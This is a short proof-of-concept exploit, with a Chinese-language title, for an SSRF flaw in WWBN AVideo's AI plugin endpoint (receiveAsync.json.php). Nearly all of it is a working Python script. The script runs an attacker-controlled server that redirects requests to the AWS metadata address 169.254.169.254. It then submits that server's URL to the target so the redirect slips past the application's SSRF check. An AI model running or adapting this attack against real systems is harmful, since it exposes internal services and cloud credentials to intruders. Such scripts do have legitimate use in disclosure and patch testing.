CVE-2026-43884 WWBN AVideo 服务端请求伪造漏洞 (SSRF)

# This PoC demonstrates how to exploit the SSRF via redirect. # It sets up a malicious server that redirects to an internal metadata service. import threading import time from http.server import HTTPServer, BaseHTTPRequestHandler import requests class MaliciousRedirectHandler(BaseHTTPRequestHandler): """ Handler that redirects incoming requests to a sensitive internal address. This simulates the attacker-controlled server. """ def do_GET(self): # Log the request from the vulnerable server print(f"[*] Received request from: {self.client_address[0]}") # Send a 302 Redirect to the AWS Metadata Service (or other internal target) # This bypasses isSSRFSafeURL() because the initial URL was 'attacker.com' target_internal_url = "http://169.254.169.254/latest/meta-data/" self.send_response(302) self.send_header('Location', target_internal_url) self.end_headers() def log_message(self, format, *args): # Suppress default logging pass def start_redirect_server(port=8000): """Starts the HTTP server in a separate thread.""" server = HTTPServer(('0.0.0.0', port), MaliciousRedirectHandler) thread = threading.Thread(target=server.serve_forever) thread.daemon = True thread.start() print(f"[*] Malicious redirect server listening on 0.0.0.0:{port}") return server if __name__ == "__main__": # 1. Start the attacker's server start_redirect_server() attacker_url = "http://attacker-server-ip:8000" # 2. Target URL (Vulnerable Endpoint) # Replace with actual target IP/Domain target_endpoint = "http://localhost/avideo/plugin/AI/receiveAsync.json.php" print(f"[*] Attempting to trigger SSRF on {target_endpoint}") print(f"[*] Payload URL: {attacker_url}") # 3. Send the payload # The parameter name 'url' might vary based on the actual endpoint implementation try: data = { "url": attacker_url } response = requests.post(target_endpoint, data=data, timeout=5) print(f"[*] Request sent. Status code: {response.status_code}") print("[*] If vulnerable, the server has now fetched http://169.254.169.254/latest/meta-data/") except requests.exceptions.RequestException as e: print(f"[!] Error connecting to target: {e}") # Keep script running to handle the redirect request try: while True: time.sleep(1) except KeyboardInterrupt: print("\n[*] Shutting down server.")